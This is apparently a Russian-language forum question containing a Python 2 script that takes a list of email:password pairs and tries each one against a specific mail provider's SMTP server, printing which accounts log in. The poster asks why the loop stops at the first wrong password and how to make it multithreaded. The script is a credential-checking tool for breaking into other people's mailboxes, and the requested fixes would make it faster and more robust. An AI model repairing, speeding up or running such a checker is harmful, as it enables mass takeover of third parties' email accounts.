#!/usr/bin/env python # -*- coding: utf-8 -*- import smtplib gLogin = [] gPass = [] def hello(): print 'Enter the file name with the usernames and passwords' x = raw_input('File name: ') return x def LoadList(NameFile): global gLogin global gPass f = open(NameFile, 'r') for login in f.xreadlines(): i1 = login.find('@') i2 = login.find(':') tmpline = login login = login[0:i1] passw = tmpline[i2+1:len(tmpline)-1] gLogin.append(login) gPass.append(passw) def check(lg, pas): server = smtplib.SMTP('smtp.corpmail.ru:25') server.starttls() server.set_debuglevel(1) server.login(lg, pas) try: print 'Acount', lg + '@corpmail.ru - open access!' server.quit() except: print 'Acount', lg + '@corpmail.ru - access denied...' def main(): global gLogin global gPass fname = hello() LoadList(fname) for i in xrange(len(gLogin)): check(gLogin[i], gPass[i]) return 0 if __name__ == '__main__': main()
Код выполняеться. Но проблема в исключении.
try: print 'Acount', lg + '@corpmail.ru - open access!' server.quit() except: print 'Acount', lg + '@corpmail.ru - access denied...'
Если аккаунт верный, то как и положено код в блоке try выполняеться, пишет мне open access!, но как только доходит до аккаунта с неверным паролем, то выполнение прекращаеться.
smtplib.SMTPAuthenticationError: (535, ‘5.7.8 Error: authentication failed: Invalid user or password!’)
Process finished with exit code 1
Вопрос №2

Скрипт работает долго. Хотелось бы много поточность. Подскажите как это сделать? Просто я ни разу с этим не сталкивался…
